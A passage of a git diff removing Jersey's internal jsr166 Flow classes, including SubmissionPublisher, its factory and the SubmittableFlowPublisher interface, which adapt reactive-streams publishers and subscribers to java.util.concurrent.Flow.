-     * @param <T> the subscribed item type
-     */
-    public static interface Subscriber<T> {
-        /**
-         * Method invoked prior to invoking any other Subscriber
-         * methods for the given Subscription. If this method throws
-         * an exception, resulting behavior is not guaranteed, but may
-         * cause the Subscription not to be established or to be cancelled.
-         *
-         * <p>Typically, implementations of this method invoke {@code
-         * subscription.request} to enable receiving items.
-         *
-         * @param subscription a new subscription
-         */
-        public void onSubscribe(Subscription subscription);
-
-        /**
-         * Method invoked with a Subscription's next item.  If this
-         * method throws an exception, resulting behavior is not
-         * guaranteed, but may cause the Subscription to be cancelled.
-         *
-         * @param item the item
-         */
-        public void onNext(T item);
-
-        /**
-         * Method invoked upon an unrecoverable error encountered by a
-         * Publisher or Subscription, after which no other Subscriber
-         * methods are invoked by the Subscription.  If this method
-         * itself throws an exception, resulting behavior is
-         * undefined.
-         *
-         * @param throwable the exception
-         */
-        public void onError(Throwable throwable);
-
-        /**
-         * Method invoked when it is known that no additional
-         * Subscriber method invocations will occur for a Subscription
-         * that is not already terminated by error, after which no
-         * other Subscriber methods are invoked by the Subscription.
-         * If this method throws an exception, resulting behavior is
-         * undefined.
-         */
-        public void onComplete();
-    }
-
-    /**
-     * Message control linking a {@link Publisher} and {@link
-     * Subscriber}.  Subscribers receive items only when requested,
-     * and may cancel at any time. The methods in this interface are
-     * intended to be invoked only by their Subscribers; usages in
-     * other contexts have undefined effects.
-     */
-    public static interface Subscription {
-        /**
-         * Adds the given number {@code n} of items to the current
-         * unfulfilled demand for this subscription.  If {@code n} is
-         * negative, the Subscriber will receive an {@code onError}
-         * signal with an {@link IllegalArgumentException} argument.
-         * Otherwise, the Subscriber will receive up to {@code n}
-         * additional {@code onNext} invocations (or fewer if
-         * terminated).
-         *
-         * @param n the increment of demand; a value of {@code
-         * Long.MAX_VALUE} may be considered as effectively unbounded
-         */
-        public void request(long n);
-
-        /**
-         * Causes the Subscriber to (eventually) stop receiving
-         * messages.  Implementation is best-effort -- additional
-         * messages may be received after invoking this method.
-         * A cancelled subscription need not ever receive an
-         * {@code onComplete} or {@code onError} signal.
-         */
-        public void cancel();
-    }
-
-    /**
-     * A component that acts as both a Subscriber and Publisher.
-     *
-     * @param <T> the subscribed item type
-     * @param <R> the published item type
-     */
-    public static interface Processor<T, R> extends Subscriber<T>, Publisher<R> {
-    }
-
-    static final int DEFAULT_BUFFER_SIZE = 256;
-
-    /**
-     * Returns a default value for Publisher or Subscriber buffering,
-     * that may be used in the absence of other constraints.
-     *
-     * @implNote
-     * The current value returned is 256.
-     *
-     * @return the buffer size value
-     */
-    public static int defaultBufferSize() {
-        return DEFAULT_BUFFER_SIZE;
-    }
-
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
deleted file mode 100644
index f774e4f..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T>, java.util.concurrent.Flow.Subscriber<T> {
-    @Override
-    default void onSubscribe(java.util.concurrent.Flow.Subscription subscription) {
-        this.onSubscribe(new Flow.Subscription() {
-            @Override
-            public void request(final long n) {
-                subscription.request(n);
-            }
-
-            @Override
-            public void cancel() {
-                subscription.cancel();
-            }
-        });
-    }
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
deleted file mode 100644
index 7a7ce4e..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.java
+++ /dev/null
@@ -1,387 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-import java.util.function.BiPredicate;
-import java.util.function.Consumer;
-
-/**
- * A {@link Flow.Publisher} that asynchronously issues submitted
- * (non-null) items to current subscribers until it is closed.  Each
- * current subscriber receives newly submitted items in the same order
- * unless drops or exceptions are encountered.  Using a
- * SubmissionPublisher allows item generators to act as compliant <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * Publishers relying on drop handling and/or blocking for flow
- * control.
- * <p>
- * <p>A SubmissionPublisher uses the {@link Executor} supplied in its
- * constructor for delivery to subscribers. The best choice of
- * Executor depends on expected usage. If the generator(s) of
- * submitted items run in separate threads, and the number of
- * subscribers can be estimated, consider using a {@link
- * Executors#newFixedThreadPool}. Otherwise consider using the
- * default, normally the {@link ForkJoinPool#commonPool}.
- * <p>
- * <p>Buffering allows producers and consumers to transiently operate
- * at different rates.  Each subscriber uses an independent buffer.
- * Buffers are created upon first use and expanded as needed up to the
- * given maximum. (The enforced capacity may be rounded up to the
- * nearest power of two and/or bounded by the largest value supported
- * by this implementation.)  Invocations of {@link
- * Flow.Subscription#request(long) request} do not directly result in
- * buffer expansion, but risk saturation if unfilled requests exceed
- * the maximum capacity.  The default value of {@link
- * Flow#defaultBufferSize()} may provide a useful starting point for
- * choosing a capacity based on expected rates, resources, and usages.
- * <p>
- * <p>Publication methods support different policies about what to do
- * when buffers are saturated. Method {@link #submit(Object) submit}
- * blocks until resources are available. This is simplest, but least
- * responsive.  The {@code offer} methods may drop items (either
- * immediately or with bounded timeout), but provide an opportunity to
- * interpose a handler and then retry.
- * <p>
- * <p>If any Subscriber method throws an exception, its subscription
- * is cancelled.  If a handler is supplied as a constructor argument,
- * it is invoked before cancellation upon an exception in method
- * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods
- * {@link Flow.Subscriber#onSubscribe onSubscribe},
- * {@link Flow.Subscriber#onError(Throwable) onError} and
- * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or
- * handled before cancellation.  If the supplied Executor throws
- * {@link RejectedExecutionException} (or any other RuntimeException
- * or Error) when attempting to execute a task, or a drop handler
- * throws an exception when processing a dropped item, then the
- * exception is rethrown. In these cases, not all subscribers will
- * have been issued the published item. It is usually good practice to
- * {@link #closeExceptionally closeExceptionally} in these cases.
- * <p>
- * <p>Method {@link #consume(Consumer)} simplifies support for a
- * common case in which the only action of a subscriber is to request
- * and process all items using a supplied function.
- * <p>
- * <p>This class may also serve as a convenient base for subclasses
- * that generate items, and use the methods in this class to publish
- * them.  For example here is a class that periodically publishes the
- * items generated from a supplier. (In practice you might add methods
- * to independently start and stop generation, to share Executors
- * among publishers, and so on, or use a SubmissionPublisher as a
- * component rather than a superclass.)
- * <p>
- * <pre> {@code
- * class PeriodicPublisher<T> extends SubmissionPublisher<T> {
- *   final ScheduledFuture<?> periodicTask;
- *   final ScheduledExecutorService scheduler;
- *   PeriodicPublisher(Executor executor, int maxBufferCapacity,
- *                     Supplier<? extends T> supplier,
- *                     long period, TimeUnit unit) {
- *     super(executor, maxBufferCapacity);
- *     scheduler = new ScheduledThreadPoolExecutor(1);
- *     periodicTask = scheduler.scheduleAtFixedRate(
- *       () -> submit(supplier.get()), 0, period, unit);
- *   }
- *   public void close() {
- *     periodicTask.cancel(false);
- *     scheduler.shutdown();
- *     super.close();
- *   }
- * }}</pre>
- * <p>
- * <p>Here is an example of a {@link Flow.Processor} implementation.
- * It uses single-step requests to its publisher for simplicity of
- * illustration. A more adaptive version could monitor flow using the
- * lag estimate returned from {@code submit}, along with other utility
- * methods.
- * <p>
- * <pre> {@code
- * class TransformProcessor<S,T> extends SubmissionPublisher<T>
- *   implements Flow.Processor<S,T> {
- *   final Function<? super S, ? extends T> function;
- *   Flow.Subscription subscription;
- *   TransformProcessor(Executor executor, int maxBufferCapacity,
- *                      Function<? super S, ? extends T> function) {
- *     super(executor, maxBufferCapacity);
- *     this.function = function;
- *   }
- *   public void onSubscribe(Flow.Subscription subscription) {
- *     (this.subscription = subscription).request(1);
- *   }
- *   public void onNext(S item) {
- *     subscription.request(1);
- *     submit(function.apply(item));
- *   }
- *   public void onError(Throwable ex) { closeExceptionally(ex); }
- *   public void onComplete() { close(); }
- * }}</pre>
- *
- * @param <T> the published item type
- * @author Doug Lea
- * @since 9
- */
-public class SubmissionPublisher<T> implements SubmittableFlowPublisher<T> {
-
-    private final java.util.concurrent.SubmissionPublisher<T> publisher;
-
-    /**
-     * Creates a new SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and, if non-null, the given handler invoked
-     * when any Subscriber throws an exception in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @param handler           if non-null, procedure to invoke upon exception
-   *                          thrown in method {@code onNext}
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public SubmissionPublisher(Executor executor, int maxBufferCapacity,
-                               BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> handler) {
-        publisher = new java.util.concurrent.SubmissionPublisher<T>(executor, maxBufferCapacity, convertConsumer(handler));
-    }
-
-    /**
-     * Creates a new SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and no handler for Subscriber exceptions in
-     * method {@link Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public SubmissionPublisher(Executor executor, int maxBufferCapacity) {
-        publisher = new java.util.concurrent.SubmissionPublisher<T>(executor, maxBufferCapacity);
-    }
-
-    /**
-     * Creates a new SubmissionPublisher using the {@link
-     * ForkJoinPool#commonPool()} for async delivery to subscribers
-     * (unless it does not support a parallelism level of at least two,
-     * in which case, a new Thread is created to run each task), with
-     * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
-     * handler for Subscriber exceptions in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     */
-    public SubmissionPublisher() {
-        publisher = new java.util.concurrent.SubmissionPublisher<T>();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public CompletableFuture<Void> consume(Consumer<? super T> consumer) {
-        return publisher.consume(consumer);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void close() {
-        publisher.close();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void closeExceptionally(Throwable error) {
-        publisher.closeExceptionally(error);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public long estimateMinimumDemand() {
-        return publisher.estimateMinimumDemand();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int estimateMaximumLag() {
-        return publisher.estimateMaximumLag();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Throwable getClosedException() {
-        return publisher.getClosedException();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int getMaxBufferCapacity() {
-        return publisher.getMaxBufferCapacity();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int offer(T item, long timeout, TimeUnit unit, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        return publisher.offer(item, timeout, unit, convertPredicate(onDrop));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    public int offer(T item, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) {
-        return publisher.offer(item, convertPredicate(onDrop));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int submit(T item) {
-        return publisher.submit(item);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void subscribe(Flow.Subscriber<? super T> subscriber) {
-        publisher.subscribe(convertSubscriber(subscriber));
-    }
-
-    private static <T> BiConsumer<? super java.util.concurrent.Flow.Subscriber<? super T>, ? super Throwable> convertConsumer(
-            BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> consumer) {
-        return new BiConsumer<java.util.concurrent.Flow.Subscriber<? super T>, Throwable>() {
-            @Override
-            public void accept(java.util.concurrent.Flow.Subscriber<? super T> subscriber, Throwable throwable) {
-                consumer.accept(convertSubscriber(subscriber), throwable);
-            }
-        };
-    }
-
-    private static <T> BiPredicate<java.util.concurrent.Flow.Subscriber<? super T>, ? super T> convertPredicate(
-            BiPredicate<Flow.Subscriber<? super T>, ? super T> predicate) {
-        return new BiPredicate<java.util.concurrent.Flow.Subscriber<? super T>, T>() {
-            @Override
-            public boolean test(java.util.concurrent.Flow.Subscriber<? super T> subscriber, T t) {
-                return predicate.test(convertSubscriber(subscriber), t);
-            }
-        };
-    }
-
-    private static <T> Flow.Subscriber<? super T> convertSubscriber(java.util.concurrent.Flow.Subscriber<? super T> subscriber) {
-        return new Flow.Subscriber<T>() {
-
-            @Override
-            public void onSubscribe(Flow.Subscription subscription) {
-                subscriber.onSubscribe(convertSubscription(subscription));
-            }
-
-            @Override
-            public void onNext(T item) {
-                subscriber.onNext(item);
-            }
-
-            @Override
-            public void onError(Throwable throwable) {
-                subscriber.onError(throwable);
-            }
-
-            @Override
-            public void onComplete() {
-                subscriber.onComplete();
-            }
-        };
-    }
-
-    private static <T> java.util.concurrent.Flow.Subscriber<T> convertSubscriber(Flow.Subscriber<T> subscriber) {
-        return new java.util.concurrent.Flow.Subscriber<T>() {
-
-            @Override
-            public void onSubscribe(java.util.concurrent.Flow.Subscription subscription) {
-                subscriber.onSubscribe(convertSubscription(subscription));
-            }
-
-            @Override
-            public void onNext(T item) {
-                subscriber.onNext(item);
-            }
-
-            @Override
-            public void onError(Throwable throwable) {
-                subscriber.onError(throwable);
-            }
-
-            @Override
-            public void onComplete() {
-                subscriber.onComplete();
-            }
-        };
-    }
-
-    private static java.util.concurrent.Flow.Subscription convertSubscription(Flow.Subscription subscription) {
-        return new java.util.concurrent.Flow.Subscription() {
-            @Override
-            public void request(long n) {
-                subscription.request(n);
-            }
-
-            @Override
-            public void cancel() {
-                subscription.cancel();
-            }
-        };
-    }
-
-    private static Flow.Subscription convertSubscription(java.util.concurrent.Flow.Subscription subscription) {
-        return new Flow.Subscription() {
-            @Override
-            public void request(long n) {
-                subscription.request(n);
-            }
-
-            @Override
-            public void cancel() {
-                subscription.cancel();
-            }
-        };
-    }
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
deleted file mode 100644
index ecdc41a..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.Executor;
-import java.util.concurrent.ForkJoinPool;
-import java.util.function.BiConsumer;
-
-/**
- * Factory creating JDK8 compatible SubmissionPublisher (Jdk8SubmissionPublisher) or JDK 9+ SubmissionPublisher
- */
-public class SubmissionPublisherFactory {
-
-    /**
-     * Creates a new SubmittableFlowPublisher using the {@link
-     * ForkJoinPool#commonPool()} for async delivery to subscribers
-     * (unless it does not support a parallelism level of at least two,
-     * in which case, a new Thread is created to run each task), with
-     * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
-     * handler for Subscriber exceptions in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher() {
-        return new SubmissionPublisher<T>();
-    }
-
-    /**
-     * Creates a new Jdk9SubmissionPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and no handler for Subscriber exceptions in
-     * method {@link Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
-                                                                            int maxBufferCapacity) {
-        return new SubmissionPublisher<T>(executor, maxBufferCapacity);
-    }
-
-    /**
-     * Creates a new SubmittableFlowPublisher using the given Executor for
-     * async delivery to subscribers, with the given maximum buffer size
-     * for each subscriber, and, if non-null, the given handler invoked
-     * when any Subscriber throws an exception in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     *
-     * @param executor          the executor to use for async delivery,
-     *                          supporting creation of at least one independent thread
-     * @param maxBufferCapacity the maximum capacity for each
-     *                          subscriber's buffer (the enforced capacity may be rounded up to
-     *                          the nearest power of two and/or bounded by the largest value
-     *                          supported by this implementation; method {@link #getMaxBufferCapacity}
-     *                          returns the actual value)
-     * @param handler           if non-null, procedure to invoke upon exception
-     *                          thrown in method {@code onNext}
-     * @throws NullPointerException     if executor is null
-     * @throws IllegalArgumentException if maxBufferCapacity not
-     *                                  positive
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
-                                                                            int maxBufferCapacity,
-                                                                            BiConsumer<? super Flow.Subscriber<? super T>,
-                                                                                    ? super Throwable> handler) {
-        return new SubmissionPublisher<T>(executor, maxBufferCapacity, handler);
-    }
-
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
deleted file mode 100644
index 0978463..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/SubmittableFlowPublisher.java
+++ /dev/null
@@ -1,292 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiPredicate;
-import java.util.function.Consumer;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ForkJoinPool;
-import java.util.concurrent.RejectedExecutionException;
-
-
-/**
- * A {@link Flow.Publisher} that asynchronously issues submitted
- * (non-null) items to current subscribers until it is closed.  Each
- * current subscriber receives newly submitted items in the same order
- * unless drops or exceptions are encountered.  Using a
- * SubmittableFlowPublisher allows item generators to act as compliant <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * Publishers relying on drop handling and/or blocking for flow
- * control.
- * <p>
- * <p>An implementation of SubmittableFlowPublisher uses the {@link Executor} supplied in its
- * constructor for delivery to subscribers. The best choice of
- * Executor depends on expected usage. If the generator(s) of
- * submitted items run in separate threads, and the number of
- * subscribers can be estimated, consider using a {@link
- * Executors#newFixedThreadPool}. Otherwise consider using the
- * default, normally the {@link ForkJoinPool#commonPool}.
- * <p>
- * <p>Buffering allows producers and consumers to transiently operate
- * at different rates.  Each subscriber uses an independent buffer.
- * Buffers are created upon first use and expanded as needed up to the
- * given maximum. (The enforced capacity may be rounded up to the
- * nearest power of two and/or bounded by the largest value supported
- * by this implementation.)  Invocations of {@link
- * Flow.Subscription#request(long) request} do not directly result in
- * buffer expansion, but risk saturation if unfilled requests exceed
- * the maximum capacity.  The default value of {@link
- * Flow#defaultBufferSize()} may provide a useful starting point for
- * choosing a capacity based on expected rates, resources, and usages.
- * <p>
- * <p>Publication methods support different policies about what to do
- * when buffers are saturated. Method {@link #submit(Object) submit}
- * blocks until resources are available. This is simplest, but least
- * responsive.  The {@code offer} methods may drop items (either
- * immediately or with bounded timeout), but provide an opportunity to
- * interpose a handler and then retry.
- * <p>
- * <p>If any Subscriber method throws an exception, its subscription
- * is cancelled.  If a handler is supplied as a constructor argument,
- * it is invoked before cancellation upon an exception in method
- * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods
- * {@link Flow.Subscriber#onSubscribe onSubscribe},
- * {@link Flow.Subscriber#onError(Throwable) onError} and
- * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or
- * handled before cancellation.  If the supplied Executor throws
- * {@link RejectedExecutionException} (or any other RuntimeException
- * or Error) when attempting to execute a task, or a drop handler
- * throws an exception when processing a dropped item, then the
- * exception is rethrown. In these cases, not all subscribers will
- * have been issued the published item. It is usually good practice to
- * {@link #closeExceptionally closeExceptionally} in these cases.
- * <p>
- * <p>Method {@link #consume(Consumer)} simplifies support for a
- * common case in which the only action of a subscriber is to request
- * and process all items using a supplied function.
- *
- * @param <T> the published item type
- */
-public interface SubmittableFlowPublisher<T> extends Flow.Publisher<T>, AutoCloseable {
-
-    /**
-     * Processes all published items using the given Consumer function.
-     * Returns a CompletableFuture that is completed normally when this
-     * publisher signals {@link Flow.Subscriber#onComplete()
-     * onComplete}, or completed exceptionally upon any error, or an
-     * exception is thrown by the Consumer, or the returned
-     * CompletableFuture is cancelled, in which case no further items
-     * are processed.
-     *
-     * @param consumer the function applied to each onNext item
-     * @return a CompletableFuture that is completed normally
-     * when the publisher signals onComplete, and exceptionally
-     * upon any error or cancellation
-     * @throws NullPointerException if consumer is null
-     */
-    CompletableFuture<Void> consume(final Consumer<? super T> consumer);
-
-    /**
-     * Unless already closed, issues {@link
-     * Flow.Subscriber#onComplete() onComplete} signals to current
-     * subscribers, and disallows subsequent attempts to publish.
-     * Upon return, this method does <em>NOT</em> guarantee that all
-     * subscribers have yet completed.
-     */
-    void close();
-
-    /**
-     * Unless already closed, issues {@link
-     * Flow.Subscriber#onError(Throwable) onError} signals to current
-     * subscribers with the given error, and disallows subsequent
-     * attempts to publish.  Future subscribers also receive the given
-     * error. Upon return, this method does <em>NOT</em> guarantee
-     * that all subscribers have yet completed.
-     *
-     * @param error the {@code onError} argument sent to subscribers
-     * @throws NullPointerException if error is null
-     */
-    void closeExceptionally(final Throwable error);
-
-    /**
-     * Returns an estimate of the minimum number of items requested
-     * (via {@link Flow.Subscription#request(long) request}) but not
-     * yet produced, among all current subscribers.
-     *
-     * @return the estimate, or zero if no subscribers
-     */
-    long estimateMinimumDemand();
-
-    /**
-     * Returns an estimate of the maximum number of items produced but
-     * not yet consumed among all current subscribers.
-     *
-     * @return the estimate
-     */
-    int estimateMaximumLag();
-
-    /**
-     * Returns the exception associated with {@link
-     * #closeExceptionally(Throwable) closeExceptionally}, or null if
-     * not closed or if closed normally.
-     *
-     * @return the exception, or null if none
-     */
-    Throwable getClosedException();
-
-    /**
-     * Returns the maximum per-subscriber buffer capacity.
-     *
-     * @return the maximum per-subscriber buffer capacity
-     */
-    int getMaxBufferCapacity();
-
-    /**
-     * Publishes the given item, if possible, to each current subscriber
-     * by asynchronously invoking its {@link
-     * Flow.Subscriber#onNext(Object) onNext} method, blocking while
-     * resources for any subscription are unavailable, up to the
-     * specified timeout or until the caller thread is interrupted, at
-     * which point the given handler (if non-null) is invoked, and if it
-     * returns true, retried once. (The drop handler may distinguish
-     * timeouts from interrupts by checking whether the current thread
-     * is interrupted.)  Other calls to methods in this class by other
-     * threads are blocked while the handler is invoked.  Unless
-     * recovery is assured, options are usually limited to logging the
-     * error and/or issuing an {@link Flow.Subscriber#onError(Throwable)
-     * onError} signal to the subscriber.
-     * <p>
-     * <p>This method returns a status indicator: If negative, it
-     * represents the (negative) number of drops (failed attempts to
-     * issue the item to a subscriber). Otherwise it is an estimate of
-     * the maximum lag (number of items submitted but not yet
-     * consumed) among all current subscribers. This value is at least
-     * one (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers, or
-     * the drop handler throws an exception when processing a dropped
-     * item, then this exception is rethrown.
-     *
-     * @param item    the (non-null) item to publish
-     * @param timeout how long to wait for resources for any subscriber
-     *                before giving up, in units of {@code unit}
-     * @param unit    a {@code TimeUnit} determining how to interpret the
-     *                {@code timeout} parameter
-     * @param onDrop  if non-null, the handler invoked upon a drop to a
-     *                subscriber, with arguments of the subscriber and item; if it
-     *                returns true, an offer is re-attempted (once)
-     * @return if negative, the (negative) number of drops; otherwise
-     * an estimate of maximum lag
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    int offer(T item, long timeout, TimeUnit unit, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop);
-
-    /**
-     * Publishes the given item, if possible, to each current subscriber
-     * by asynchronously invoking its {@link
-     * Flow.Subscriber#onNext(Object) onNext} method. The item may be
-     * dropped by one or more subscribers if resource limits are
-     * exceeded, in which case the given handler (if non-null) is
-     * invoked, and if it returns true, retried once.  Other calls to
-     * methods in this class by other threads are blocked while the
-     * handler is invoked.  Unless recovery is assured, options are
-     * usually limited to logging the error and/or issuing an {@link
-     * Flow.Subscriber#onError(Throwable) onError} signal to the
-     * subscriber.
-     * <p>
-     * <p>This method returns a status indicator: If negative, it
-     * represents the (negative) number of drops (failed attempts to
-     * issue the item to a subscriber). Otherwise it is an estimate of
-     * the maximum lag (number of items submitted but not yet
-     * consumed) among all current subscribers. This value is at least
-     * one (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers, or
-     * the drop handler throws an exception when processing a dropped
-     * item, then this exception is rethrown.
-     *
-     * @param item   the (non-null) item to publish
-     * @param onDrop if non-null, the handler invoked upon a drop to a
-     *               subscriber, with arguments of the subscriber and item; if it
-     *               returns true, an offer is re-attempted (once)
-     * @return if negative, the (negative) number of drops; otherwise
-     * an estimate of maximum lag
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    int offer(T item, BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop);
-
-    /**
-     * Publishes the given item to each current subscriber by
-     * asynchronously invoking its {@link Flow.Subscriber#onNext(Object)
-     * onNext} method, blocking uninterruptibly while resources for any
-     * subscriber are unavailable. This method returns an estimate of
-     * the maximum lag (number of items submitted but not yet consumed)
-     * among all current subscribers. This value is at least one
-     * (accounting for this submitted item) if there are any
-     * subscribers, else zero.
-     * <p>
-     * <p>If the Executor for this publisher throws a
-     * RejectedExecutionException (or any other RuntimeException or
-     * Error) when attempting to asynchronously notify subscribers,
-     * then this exception is rethrown, in which case not all
-     * subscribers will have been issued this item.
-     *
-     * @param item the (non-null) item to publish
-     * @return the estimated maximum lag among subscribers
-     * @throws IllegalStateException      if closed
-     * @throws NullPointerException       if item is null
-     * @throws RejectedExecutionException if thrown by Executor
-     */
-    int submit(T item);
-
-    /**
-     * Adds the given Subscriber unless already subscribed.  If already
-     * subscribed, the Subscriber's {@link
